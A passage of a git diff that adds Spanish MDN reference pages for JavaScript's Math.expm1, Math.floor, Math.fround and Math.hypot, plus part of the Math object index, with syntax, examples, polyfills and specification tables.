+  - JavaScript
+  - Matemáticas
+  - Math
+  - Method
+  - Referencia
+  - metodo
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/expm1
+---
+<div>{{JSRef}}</div>
+
+<p>La función <strong><code>Math.expm1()</code></strong> regresa <code>e<sup>x</sup> - 1</code>, donde <code>x</code> es el argumento, y {{jsxref("Math.E", "e", "", 1)}} la base del logaritmo natural.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-expm1.html")}}</div>
+
+<div class="hidden">El código para este ejemplo interactivo está almacenado en un repositorio de GitHub. Sí te gustaría contribuir al proyecto de ejemplos interactivos If you'd like to contribute, por favor clona  <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> y envíanos un pull request.</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate">Math.expm1(<var>x</var>)</pre>
+
+<h3 id="Parámetos">Parámetos</h3>
+
+<dl>
+ <dt><code><var>x</var></code></dt>
+ <dd>Un número.</dd>
+</dl>
+
+<h3 id="Valor_de_retorno">Valor de retorno</h3>
+
+<p>Un número representando <code>e<sup>x</sup> - 1</code>, donde <code>e</code> es {{jsxref("Math.E", "Número de Euler", "", 1)}} y  <code>x</code> es el argumento.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Debido a que <code>expm1()</code> es un método estático de <code>Math</code>, uselo siempre como <code>Math.expm1()</code>, en lugar de como un método del objeto <code>Math</code> que creó (<code>Math</code> no es un constructor).</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usando_Math.expm1">Usando Math.expm1()</h3>
+
+<pre class="brush: js notranslate">Math.expm1(-1); // -0.6321205588285577
+Math.expm1(0);  // 0
+Math.expm1(1);  // 1.718281828459045
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>Esto puede ser emulado con la ayuda de la función {{jsxref("Math.exp()")}}:</p>
+
+<pre class="brush: js notranslate">Math.expm1 = Math.expm1 || function(x) {
+  return Math.exp(x) - 1;
+};
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.expm1', 'Math.expm1')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<div class="hidden">La tabla de compatibilidad en esta página es generada de información estructurada. Sí le gustaría contribuir a la información, por favor consulte <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíenos un pull request.</div>
+
+<p>{{Compat("javascript.builtins.Math.expm1")}}</p>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li>{{jsxref("Math.E")}}</li>
+ <li>{{jsxref("Math.exp()")}}</li>
+ <li>{{jsxref("Math.log()")}}</li>
+ <li>{{jsxref("Math.log10()")}}</li>
+ <li>{{jsxref("Math.log1p()")}}</li>
+ <li>{{jsxref("Math.log2()")}}</li>
+ <li>{{jsxref("Math.pow()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/math/floor/index.html b/files/es/web/javascript/referencia/objetos_globales/math/floor/index.html
new file mode 100644
index 0000000000..867f3e8dac
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/math/floor/index.html
@@ -0,0 +1,124 @@
+---
+title: Math.floor()
+slug: Web/JavaScript/Referencia/Objetos_globales/Math/floor
+tags:
+  - JavaScript
+  - Math
+  - Method
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/floor
+---
+<div>{{JSRef("Objetos_globales", "Math")}}</div>
+
+<h2 id="Summary" name="Summary">Sumario</h2>
+
+<p>Devuelve el máximo entero menor o igual a un número.</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate"><code>Math.floor(<em>x</em>) </code></pre>
+
+<h3 id="Parameters" name="Parameters">Parámetros</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Es número.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Descripción</h2>
+
+<p>Como <code>floor</code> es un método estático de <code>Math</code>, siempre debe usarse como <code>Math.floor()</code>, en lugar de usarlo como un método de un objeto <code>Math</code> creado.</p>
+
+<h2 id="Examples" name="Examples">Ejemplos</h2>
+
+<h3 id="Example_Using_Math.floor" name="Example:_Using_Math.floor">Ejemplo: Usando <code>Math.floor</code></h3>
+
+<p>La siguiente función devuelve el valor entero redondeado más bajo de la variable <code>x</code>:</p>
+
+<pre class="brush:js notranslate">function getFloor(x) {
+   return Math.floor(x);
+}</pre>
+
+<p>Si se pasa <code>45.95</code> a <code>getFloor</code>, éste devuelve <code>45</code>; si se le pasa <code>-45.95</code>,  devuelve <code>-46</code>.</p>
+
+<h3 id="Example_Decimal_adjustment" name="Example:_Decimal_adjustment">Ejemplo: Ajuste decimal</h3>
+
+<pre class="brush:js notranslate">// Cierre
+(function(){
+
+	/**
+	 * Ajuste decimal de un número.
+	 *
+	 * @param	{String}	type	El tipo de ajuste.
+	 * @param	{Number}	value	El número.
+	 * @param	{Integer}	exp		El exponente(el logaritmo en base 10 del ajuste).
+	 * @returns	{Number}			El valor ajustado.
+	 */
+	function decimalAdjust(type, value, exp) {
+		// Si el exp es indefinido o cero...
+		if (typeof exp === 'undefined' || +exp === 0) {
+			return Math[type](value);
+		}
+		value = +value;
+		exp = +exp;
+		// Si el valor no es un número o el exp no es un entero...
+		if (isNaN(value) || !(typeof exp === 'number' &amp;&amp; exp % 1 === 0)) {
+			return NaN;
+		}
+		// Cambio
+		value = value.toString().split('e');
+		value = Math[type](+(value[0] + 'e' + (value[1] ? (+value[1] - exp) : -exp)));
+		// Volver a cambiar
+		value = value.toString().split('e');
+		return +(value[0] + 'e' + (value[1] ? (+value[1] + exp) : exp));
+	}
+
+	// Redondeo decimal
+	if (!Math.round10) {
+		Math.round10 = function(value, exp) {
+			return decimalAdjust('round', value, exp);
+		};
+	}
+	// Redondeo hacia abajo
+	if (!Math.floor10) {
+		Math.floor10 = function(value, exp) {
+			return decimalAdjust('floor', value, exp);
+		};
+	}
+	// Redondeo hacia arriba
+	if (!Math.ceil10) {
+		Math.ceil10 = function(value, exp) {
+			return decimalAdjust('ceil', value, exp);
+		};
+	}
+
+})();
+
+// Redondeo
+Math.round10(55.55, -1); // 55.6
+Math.round10(55.549, -1); // 55.5
+Math.round10(55, 1); // 60
+Math.round10(54.9, 1); // 50
+Math.round10(-55.55, -1); // -55.5
+Math.round10(-55.551, -1); // -55.6
+Math.round10(-55, 1); // -50
+Math.round10(-55.1, 1); // -60
+// Piso
+Math.floor10(55.59, -1); // 55.5
+Math.floor10(59, 1); // 50
+Math.floor10(-55.51, -1); // -55.6
+Math.floor10(-51, 1); // -60
+// Techo
+Math.ceil10(55.51, -1); // 55.6
+Math.ceil10(51, 1); // 60
+Math.ceil10(-55.59, -1); // -55.5
+Math.ceil10(-59, 1); // -50
+</pre>
+
+<h2 id="See_also" name="See_also">Ven También</h2>
+
+<ul>
+ <li>El {{jsxref("Math")}} objeto.</li>
+ <li>{{jsxref("Math.abs")}}</li>
+ <li>{{jsxref("Math.ceil()")}}</li>
+ <li>{{jsxref("Math.round()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/math/fround/index.html b/files/es/web/javascript/referencia/objetos_globales/math/fround/index.html
new file mode 100644
index 0000000000..73d773e5b0
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/math/fround/index.html
@@ -0,0 +1,199 @@
+---
+title: Math.fround()
+slug: Web/JavaScript/Referencia/Objetos_globales/Math/fround
+tags:
+  - JavaScript
+  - Math
+  - Referencia
+  - metodo
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/fround
+---
+<div>{{JSRef}}</div>
+
+<p class="seoSummary">The <strong><code>Math.fround()</code></strong> function returns the nearest <a class="external" href="https://en.wikipedia.org/wiki/Single-precision_floating-point_format" title="link to the wikipedia page on single-precision floating-point format">32-bit single precision</a> float representation of a {{jsxref("Number")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-fround.html")}}</div>
+
+
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var <em>singleFloat</em> = Math.fround(<em>doubleFloat</em>);</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>doubleFloat</code></dt>
+ <dd>A {{jsxref("Number")}}. If the parameter is of a different type, it will get converted to a number or to {{jsxref("NaN")}} if it cannot be converted.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>The nearest <a class="external" href="https://en.wikipedia.org/wiki/Single-precision_floating-point_format" title="link to the wikipedia page on single-precision floating-point format">32-bit single precision</a> float representation of the given number.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>JavaScript uses 64-bit double floating-point numbers internally, which offer a very high precision. However, sometimes you may be working with 32-bit floating-point numbers, for example if you are reading values from a {{jsxref("Float32Array")}}. This can create confusion: Checking a 64-bit float and a 32-bit float for equality may fail even though the numbers are seemingly identical.</p>
+
+<p>To solve this, <code>Math.fround()</code> can be used to cast the 64-bit float to a 32-bit float. Internally, JavaScript continues to treat the number as a 64-bit float, it just performs a "round to even" on the 23rd bit of the mantissa, and sets all following mantissa bits to <code>0</code>. If the number is outside the range of a 32-bit float, <code>{{jsxref("Infinity")}}</code> or <code>-Infinity</code> is returned.</p>
+
+<p>Because <code>fround()</code> is a static method of <code>Math</code>, you always use it as <code>Math.fround()</code>, rather than as a method of a <code>Math</code> object you created (<code>Math</code> is not a constructor).</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_Math.fround()">Using <code>Math.fround()</code></h3>
+
+<p>The number 1.5 can be precisely represented in the binary numeral system, and is identical in 32-bit and 64-bit:</p>
+
+<pre class="brush: js">Math.fround(1.5); // 1.5
+Math.fround(1.5) === 1.5; // true
+</pre>
+
+<p>However, the number 1.337 cannot be precisely represented in the binary numeral system, so it differs in 32-bit and 64-bit:</p>
+
+<pre class="brush: js">Math.fround(1.337); // 1.3370000123977661
+Math.fround(1.337) === 1.337; // false
+</pre>
+
+<p><math><semantics><msup><mn>2</mn><mn>150</mn></msup><annotation encoding="TeX">2^150</annotation></semantics></math> is too big for a 32-bit float, so <code>Infinity</code> is returned:</p>
+
+<pre class="brush: js">2 ** 150; // 1.42724769270596e+45
+Math.fround(2 ** 150); // Infinity
+</pre>
+
+<p>If the parameter cannot be converted to a number, or it is <a href="https://en.wikipedia.org/wiki/NaN" title="NaN on Wikipedia">not-a-number</a> (<code>NaN</code>), <code>Math.fround()</code> will return <code>NaN</code>:</p>
+
+<pre class="brush: js">Math.fround('abc'); // NaN
+Math.fround(NaN); // NaN
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>This can be emulated with the following function, if {{jsxref("Float32Array")}} are supported:</p>
+
+<pre class="brush: js">Math.fround = Math.fround || (function (array) {
+  return function(x) {
+    return array[0] = x, array[0];
+  };
+})(new Float32Array(1));
+</pre>
+
+<p>Supporting older browsers is slower, but also possible:</p>
+
+<pre class="brush: js">if (!Math.fround) Math.fround = function(arg) {
+  arg = Number(arg);
+  // Return early for ±0 and NaN.
+  if (!arg) return arg;
+  var sign = arg &lt; 0 ? -1 : 1;
+  if (sign &lt; 0) arg = -arg;
+  // Compute the exponent (8 bits, signed).
+  var exp = Math.floor(Math.log(arg) / Math.LN2);
+  var powexp = Math.pow(2, Math.max(-126, Math.min(exp, 127)));
+  // Handle subnormals: leading digit is zero if exponent bits are all zero.
+  var leading = exp &lt; -127 ? 0 : 1;
+  // Compute 23 bits of mantissa, inverted to round toward zero.
+  var mantissa = Math.round((leading - arg / powexp) * 0x800000);
+  if (mantissa &lt;= -0x800000) return sign * Infinity;
+  return sign * powexp * (leading - mantissa / 0x800000);
+};</pre>
+
+<h2 id="Faster_Alternative_Polyfill_(Work_In_Progress)">Faster Alternative Polyfill (Work In Progress)</h2>
+
+<p>The below polyfill is much faster and uses double-precision rounding errors to emulate the rounding errors caused by floating point narrowing. Although the polyfill higher on the page is good for comprehension, all of the complex Math function that it uses make it terrible slow. Although this polyfill is much faster, it is off by a bit in about 1 out of 2048 of the tests due to the tendency to round upwards like <code>Math.ceil</code> instead of like <code>Math.round</code> in the division of the subnormal-handling section of the code. Because single precision floating points have 23 bits of precision, the mean error deviation from the correct value is roughly <code>2**-28</code> or 0.0000000058%. This deviation from the correct value should be insignifigant in most circumstances, however please edit this polyfill if you have some tweaks to increase correctness without bloating the code size too much. NaN is not optimized for because it is most likely (almost certain) that you will not be calling <code>Math.fround</code> with NaN exclusively in a tight loop. Moreover, an additional check just for NaN instead of letting NaN naturally arise would induce a performance penalty for this function in older browsers when not called with NaN. Thus, the code below handles NaN correctly, but inefficiently for good reason.</p>
+
+<pre class="brush: js">const Math_round = Math.round;
+if (!Math.fround) Math.fround = function(x) {
+    if (x &gt; 3.402823669209385e+38) return Infinity; // maximum float is 2**128
+    if (x &lt; -3.402823669209385e+38) return -Infinity; // minimum is -2**128
+    if (-1.1754943508222875e-38 &lt; x &amp;&amp; x &lt; 1.1754943508222875e-38) {
+        if (-1.401298464324817e-45 &lt; x &amp;&amp; x &lt; 1.401298464324817e-45) return 0;
+        // else, it is a subnormal
+        var mul = Math_round(x/1.4012984643e-45)*1e-323;
+        return mul * 1.418129833677085e+278;
+    }
+
+    var hi = x * 9007199254740992; // 9007199254740992 is 2**53 which is the maximum of double precision
+    var exp = (x + hi) - hi; // adding this number chops off all lower bits, rounding the number.
+    exp /= 16777216; // 8388608 = 2**23 * 2, so preserve 23 bits in x because there are 23 bits in a float
+                     //            The "* 2" compensates for the addition shifting up the bits unwantedly
+    return Math_round(x / exp) * exp;
+}
+</pre>
+
+<p>Below is code used to test for deviations from the correct value. The code below is meant for testing the merit of the function, not for polyfilling older browsers (as evidenced by the fact that the native Math.fround function is used).</p>
+
+<pre class="brush: js">requestIdleCallback(function(){"use strict";
+    const Math_fround = Math.fround;
+    const Math_round = Math.round;
+    function my_fround(x) {
+        if (x &gt; 3.402823669209385e+38) return Infinity; // maximum float is 2**128
+        if (x &lt; -3.402823669209385e+38) return -Infinity; // minimum is -2**128
+        if (-1.1754943508222875e-38 &lt; x &amp;&amp; x &lt; 1.1754943508222875e-38) {
+            if (-1.401298464324817e-45 &lt; x &amp;&amp; x &lt; 1.401298464324817e-45) return 0;
+            // else, it is a subnormal
+            var mul = Math_round(x/1.4012984643e-45)*1e-323;
+            return mul * 1.418129833677085e+278;
+        }
+
+        var hi = x * 9007199254740992; // 9007199254740992 is 2**53 which is the maximum of double precision
+        var exp = (x + hi) - hi; // adding this number chops off all lower bits, rounding the number.
+        exp /= 16777216; // 8388608 = 2**23 * 2, so preserve 23 bits in x because there are 23 bits in a float
+                         //            The "* 2" compensates for the addition shifting up the bits unwantedly
+        return Math_round(x / exp) * exp;
+    }
+
+    const doublesArray = new Float64Array(8192);
+    const int32s = new Uint32Array(doublesArray.buffer);
+
+    const crypto = window.crypto;
+
+    var hasWarned = false, warnings=0;
+    for (var i=0; i&lt;4; i=i+1|0) {
+        crypto.getRandomValues(int32s);
+        for (var k=0; k&lt;8192; k=k+1|0) {
+            const myValue = my_fround(doublesArray[k]);
+            const froundVal = Math_fround(doublesArray[k]);
+            // quicker version of Object.is because of no function call overhead:
+            if (myValue === myValue ? myValue !== froundVal : froundVal === froundVal) {
+                if (!hasWarned) console.error(doublesArray[k]); // only show the first incorrect number
+                hasWarned = true;
+                warnings = warnings + 1|0;
+            }
+        }
+    }
+    console[warnings &gt; 0 ? "warn" : "log"]( "Total number of mishandled floats: " + warnings );
+});</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.fround', 'Math.fround')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.fround', 'Math.fround')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Math.fround")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Math.round()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/math/hypot/index.html b/files/es/web/javascript/referencia/objetos_globales/math/hypot/index.html
new file mode 100644
index 0000000000..21d6850e44
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/math/hypot/index.html
@@ -0,0 +1,124 @@
+---
+title: Math.hypot()
+slug: Web/JavaScript/Referencia/Objetos_globales/Math/hypot
+tags:
+  - JavaScript
+  - Math
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/hypot
+---
+<div>{{JSRef}}</div>
+
+<p>La función <strong><code>Math.hypot()</code></strong> retorna la raíz cuadrada de la suma de los cuadrados de sus argumentos, es decir:</p>
+
+<p><math display="block"><semantics><mrow><mstyle mathvariant="monospace"><mrow><mo lspace="0em" rspace="thinmathspace">Math.hypot</mo><mo stretchy="false">(</mo><msub><mi>v</mi><mn>1</mn></msub><mo>,</mo><msub><mi>v</mi><mn>2</mn></msub><mo>,</mo><mo>…</mo><mo>,</mo><msub><mi>v</mi><mi>n</mi></msub><mo stretchy="false">)</mo></mrow></mstyle><mo>=</mo><msqrt><mrow><munderover><mo>∑</mo><mrow><mi>i</mi><mo>=</mo><mn>1</mn></mrow><mi>n</mi></munderover><msubsup><mi>v</mi><mi>i</mi><mn>2</mn></msubsup></mrow></msqrt><mo>=</mo><msqrt><mrow><msubsup><mi>v</mi><mn>1</mn><mn>2</mn></msubsup><mo>+</mo><msubsup><mi>v</mi><mn>2</mn><mn>2</mn></msubsup><mo>+</mo><mo>…</mo><mo>+</mo><msubsup><mi>v</mi><mi>n</mi><mn>2</mn></msubsup></mrow></msqrt></mrow><annotation encoding="TeX">\mathtt{\operatorname{Math.hypot}(v_1, v_2, \dots, v_n)} = \sqrt{\sum_{i=1}^n v_i^2} = \sqrt{v_1^2 + v_2^2 + \dots + v_n^2}</annotation></semantics></math></p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-hypot.html")}}</div>
+
+
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><code>Math.hypot(<var>valor1</var>, <var>valor2</var>, ..., <em>valorN</em>)</code></pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>Valor1, Valor2, ...</code></dt>
+ <dd>Números.</dd>
+</dl>
+
+<h3 id="Valor_de_Retorno">Valor de Retorno</h3>
+
+<p>La raíz cuadrada de la suma de los cuadrados de los argumentos proporcionados. Si tan sólo uno de los argumentos no pudiese ser convertido a un número, se retornaría {{jsxref("NaN")}}.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Para calcular la hipotenusa de un triángulo rectángulo, o la magnitud de un número complejo, se usa el Teorema de Pitágoras, representado en la siguiente fórmula <code>Math.sqrt(v1*v1 + v2*v2)</code> donde <em>v1</em> y <em>v2</em> son, o los catetos del triángulo, o los valores reales y complejos usados para hallar la mencionada magnitud. Para calcular distancias de dos o más dimensiones, simplemente añade más valores al cuadrado (multiplicado por sí mismo) dentro de el método <code>sqrt()</code> del objeto <code>Math</code>, algo como: <code>Math.sqrt(v1*v1 + v2*v2 + v3*v3 + v4*v4)</code>.  </p>
+
+<p>Esta función lo hace un poco más fácil y rápido, sólo coloca: <code>Math.hypot(v1, v2)</code> , o <code>Math.hypot(v1, v2, v3, v4, ...)</code> .  </p>
+
+<p>Esto también evita un problema si la magnitud de tus números es muy elevada. El número más largo que puedes representar en JavaScript es <span style="line-height: 1.5;"><code>Number.MAX_VALUE = 1.797...e+308</code> .  Si tus números son mayores que 1e154, tomando el cuadrado de esos valores resultaría en infinito destruyendo así tus resultados. Por ejemplo, <code>Math.sqrt(1e200*1e200 + 1e200*1e200) = Infinito</code>. Si usas <code>hypot()</code> en su lugar, tú obtendrías un buen resultado <code>Math.hypot(1e200, 1e200) = 1.4142...e+200</code> .  Eso también es verdad con números demasiados pequeños.  <code>Math.sqrt(1e-200*1e-200 + 1e-200*1e-200) = 0</code>, pero si en su lugar, usamos </span><code><span style="line-height: 1.5;">Math.hypot(1e-200, 1e-200) =</span></code><span style="line-height: 1.5;"><code>1.4142...e-200</code>, obtendríamos un buen resultado una vez más.</span></p>
+
+<p>Debido a que <code>hypot()</code> es un método estático de <code>Math</code>, siempre úsalo como <code>Math.hypot()</code>, en lugar de un método del objeto <code>Math</code> que hayas creado (<code>Math</code> no es un constructor).</p>
+
+<p>Si ningún argumento es provisto, el resultado es 0.</p>
+
+<p>Con sólo un argumento, <code>Math.hypot()</code> retornaría lo mismo que <code>Math.abs()</code>.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usando_Math.hypot()">Usando <code>Math.hypot()</code></h3>
+
+<pre class="brush: js">Math.hypot(3, 4);        // 5
+Math.hypot(3, 4, 5);     // 7.0710678118654755
+Math.hypot();            // 0
+Math.hypot(NaN);         // NaN
+Math.hypot(3, 4, 'foo'); // NaN, +'foo' =&gt; NaN
+Math.hypot(3, 4, '5');   // 7.0710678118654755, +'5' =&gt; 5
+Math.hypot(-3);          // 3, lo mismo que Math.abs(-3)
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>Esto puede ser emulado usando la siguiente función:</p>
+
+<pre class="brush: js">Math.hypot = Math.hypot || function() {
+  var y = 0, i = arguments.length;
+  while (i--) y += arguments[i] * arguments[i];
+  return Math.sqrt(y);
+};
+</pre>
+
+<p>Un polyfill que evita subdesbordamientos (underflows) y desbordamientos (overflows):</p>
+
+<pre class="brush: js">Math.hypot = function (x, y) {
+  // https://bugzilla.mozilla.org/show_bug.cgi?id=896264#c28
+  var max = 0;
+  var s = 0;
+  for (var i = 0; i &lt; arguments.length; i += 1) {
+    var arg = Math.abs(Number(arguments[i]));
+    if (arg &gt; max) {
+      s *= (max / arg) * (max / arg);
+      max = arg;
+    }
+    s += arg === 0 &amp;&amp; max === 0 ? 0 : (arg / max) * (arg / max);
+  }
+  return max === 1 / 0 ? 1 / 0 : max * Math.sqrt(s);
+};
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-math.hypot', 'Math.hypot')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.hypot', 'Math.hypot')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Math.hypot")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Math.abs()")}}</li>
+ <li>{{jsxref("Math.pow()")}}</li>
+ <li>{{jsxref("Math.sqrt()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/math/index.html b/files/es/web/javascript/referencia/objetos_globales/math/index.html
new file mode 100644
index 0000000000..bdf0d21e74
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/math/index.html
@@ -0,0 +1,196 @@
+---
+title: Math
+slug: Web/JavaScript/Referencia/Objetos_globales/Math
+tags:
+  - JavaScript
+  - Math
+  - Referencia
+translation_of: Web/JavaScript/Reference/Global_Objects/Math
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Math</code></strong> es un objeto incorporado que tiene propiedades y métodos para constantes y funciones matemáticas. No es un objeto de función.</p>
+
+<p><strong><code>Math</code></strong> funciona con el tipo {{jsxref("Number")}}. No funciona con {{jsxref("BigInt")}}.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>A diferencia de los demás objetos globales, el objeto <code>Math</code><strong> </strong>no se puede editar. Todas las propiedades y métodos de <code>Math</code> son<strong> </strong>estáticos. Usted se puede referir a la constante <em>pi</em> como <code>Math.PI</code><em><strong> </strong> </em>y puede llamar a la función <em>seno </em>como <code>Math.sin(x)</code>,<em><strong> </strong></em>donde<em><strong> </strong></em><code><strong>x</strong></code><em><strong> </strong></em>es el argumento del método. Las constantes se definen con la precisión completa de los números reales en JavaScript.</p>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<dl>
+ <dt>{{jsxref("Math.E")}}</dt>
+ <dd>Constante de Euler, la base de los logaritmos naturales, aproximadamente 2.718.</dd>
+ <dt>{{jsxref("Math.LN2")}}</dt>
+ <dd>Logaritmo natural de 2, aproximadamente 0.693.</dd>
+ <dt>{{jsxref("Math.LN10")}}</dt>
+ <dd>Logaritmo natural de 10, aproximadamente 2.303.</dd>
+ <dt>{{jsxref("Math.LOG2E")}}</dt>
+ <dd>Logaritmo de E con base 2, aproximadamente 1.443.</dd>
+ <dt>{{jsxref("Math.LOG10E")}}</dt>
+ <dd>Logaritmo de E con base 10, aproximadamente 0.434.</dd>
+ <dt>{{jsxref("Math.PI")}}</dt>
+ <dd>Ratio de la circunferencia de un circulo respecto a su diámetro, aproximadamente 3.14159.</dd>
+ <dt>{{jsxref("Math.SQRT1_2")}}</dt>
+ <dd>Raíz cuadrada de 1/2; Equivalentemente, 1 sobre la raíz cuadrada de 2, aproximadamente 0.707.</dd>
+ <dt>{{jsxref("Math.SQRT2")}}</dt>
+ <dd>Raíz cuadrada de 2, aproximadamente 1.414.</dd>
+</dl>
+
+<h2 id="Métodos">Métodos</h2>
+
+<div class="note">
+<p>Tenga en cuenta que las funciones trigonométricas (<code>sin()</code>, <code>cos()</code>, <code>tan()</code>, <code>asin()</code>, <code>acos()</code>, <code>atan()</code>, <code>atan2()</code>) devuelven ángulos en radianes. Para convertir radianes a grados, divida por <code>(Math.PI / 180)</code>, y multiplique por esto para convertir a la inversa.</p>
+</div>
+
+<div class="note">
+<p>Tenga en cuenta que muchas de las funciones matemáticas tienen una precisión que es dependiente de la implementación. Esto significa que los diferentes navegadores pueden dar un resultado diferente, e incluso el mismo motor de JS en un sistema operativo o arquitectura diferente puede dar resultados diferentes.</p>
+</div>
+
+<dl>
+ <dt>{{jsxref("Global_Objects/Math/abs", "Math.abs(x)")}}</dt>
+ <dd>Devuelve el valor absoluto de un número.</dd>
+ <dt>{{jsxref("Global_Objects/Math/acos", "Math.acos(x)")}}</dt>
+ <dd>Devuelve el arco coseno de un número.</dd>
+ <dt>{{jsxref("Global_Objects/Math/acosh", "Math.acosh(x)")}}</dt>
+ <dd>Devuelve el arco coseno hiperbólico de un número.</dd>
+ <dt>{{jsxref("Global_Objects/Math/asin", "Math.asin(x)")}}</dt>
+ <dd>Devuelve el arco seno de un número.</dd>
+ <dt>{{jsxref("Global_Objects/Math/asinh", "Math.asinh(x)")}}</dt>
+ <dd>Devuelve el arco seno hiperbólico de un número.</dd>
+ <dt>{{jsxref("Global_Objects/Math/atan", "Math.atan(x)")}}</dt>
+ <dd>Devuelve el arco tangente de un número.</dd>
+ <dt>{{jsxref("Global_Objects/Math/atanh", "Math.atanh(x)")}}</dt>
+ <dd>Devuelve el arco tangente hiperbólico de un número.</dd>
+ <dt>{{jsxref("Global_Objects/Math/atan2", "Math.atan2(y, x)")}}</dt>
+ <dd>Devuelve el arco tangente del cuociente de sus argumentos.</dd>
+ <dt>{{jsxref("Global_Objects/Math/cbrt", "Math.cbrt(x)")}}</dt>
+ <dd>Devuelve la raíz cúbica de un número.</dd>
+ <dt>{{jsxref("Global_Objects/Math/ceil", "Math.ceil(x)")}}</dt>
+ <dd>Devuelve el entero más pequeño mayor o igual que un número.</dd>
+ <dt>{{jsxref("Global_Objects/Math/clz32", "Math.clz32(x)")}}</dt>
+ <dd>Devuelve el número de ceros iniciales de un entero de 32 bits.</dd>
+ <dt>{{jsxref("Global_Objects/Math/cos", "Math.cos(x)")}}</dt>
+ <dd>Devuelve el coseno de un número.</dd>
+ <dt>{{jsxref("Global_Objects/Math/cosh", "Math.cosh(x)")}}</dt>
+ <dd>Devuelve el coseno hiperbólico de un número.</dd>
+ <dt>{{jsxref("Global_Objects/Math/exp", "Math.exp(x)")}}</dt>
+ <dd>Devuelve <code>E<sup>x</sup></code>, donde <var>x</var> es el argumento, y <code>E</code> es la constante de Euler (2.718...), la base de los logaritmos naturales.</dd>
+ <dt>{{jsxref("Global_Objects/Math/expm1", "Math.expm1(x)")}}</dt>
+ <dd>Devuelve e<sup>x</sup> - 1.</dd>
+ <dt>{{jsxref("Global_Objects/Math/floor", "Math.floor(x)")}}</dt>
+ <dd>Devuelve el mayor entero menor que o igual a un número.</dd>
+ <dt>{{jsxref("Global_Objects/Math/fround", "Math.fround(x)")}}</dt>
